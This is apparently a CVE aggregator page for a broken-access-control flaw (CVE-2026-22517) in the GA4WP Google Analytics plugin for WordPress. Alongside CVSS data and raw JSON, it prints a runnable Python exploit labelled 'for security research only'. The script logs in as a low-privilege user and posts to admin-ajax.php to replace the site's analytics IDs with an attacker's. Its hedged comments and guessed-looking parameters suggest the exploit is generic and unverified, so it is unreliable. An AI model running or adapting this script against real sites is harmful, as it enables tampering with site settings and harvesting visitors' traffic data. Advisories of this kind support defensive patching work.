Security Vulnerability Report
中文
CVE-2026-22517 CVSS 5.4 MEDIUM

CVE-2026-22517

Published: 2026-01-08 17:15:52
Last Modified: 2026-04-23 15:36:38

Description

Missing Authorization vulnerability in Passionate Brains GA4WP: Google Analytics for WordPress ga-for-wp allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects GA4WP: Google Analytics for WordPress: from n/a through <= 2.10.0.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

GA4WP (Google Analytics for WordPress) <= 2.10.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22517 PoC - GA4WP Broken Access Control # Target: WordPress site with GA4WP plugin <= 2.10.0 import requests import sys TARGET_URL = "http://target-wordpress-site.com" # Low-privilege user credentials (subscriber role or similar) USERNAME = "low_priv_user" PASSWORD = "user_password" def get_nonce(session, url): """Get WordPress nonce for authenticated requests""" response = session.get(url + "/wp-admin/admin.php?page=ga-for-wp") # Extract nonce from page content or response headers import re nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', response.text) return nonce_match.group(1) if nonce_match else None def exploit(): """Exploit Missing Authorization in GA4WP plugin""" session = requests.Session() # Step 1: Authenticate with low-privilege account login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(TARGET_URL + "/wp-login.php", data=login_data) # Step 2: Get valid nonce (if required) nonce = get_nonce(session, TARGET_URL) # Step 3: Exploit broken access control # Target admin-only functionality without proper authorization check exploit_data = { 'action': 'ga_for_wp_save_settings', '_wpnonce': nonce, 'ga4wp_tracking_id': 'G-ATTACKER123456', # Malicious GA ID 'ga4wp_measurement_id': 'G-ATTACKER123456' } response = session.post( TARGET_URL + "/wp-admin/admin-ajax.php", data=exploit_data ) if response.status_code == 200: print("[+] Exploit successful - GA tracking ID modified!") print("[+] Attacker can now collect site traffic data") else: print("[-] Exploit failed") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22517", "sourceIdentifier": "[email protected]", "published": "2026-01-08T17:15:51.663", "lastModified": "2026-04-23T15:36:37.740", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Passionate Brains GA4WP: Google Analytics for WordPress ga-for-wp allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects GA4WP: Google Analytics for WordPress: from n/a through <= 2.10.0."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en Passionate Brains GA4WP: Google Analytics para WordPress permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a GA4WP: Google Analytics para WordPress: desde n/a hasta 2.10.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ga-for-wp/vulnerability/wordpress-ga4wp-google-analytics-for-wordpress-plugin-2-10-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}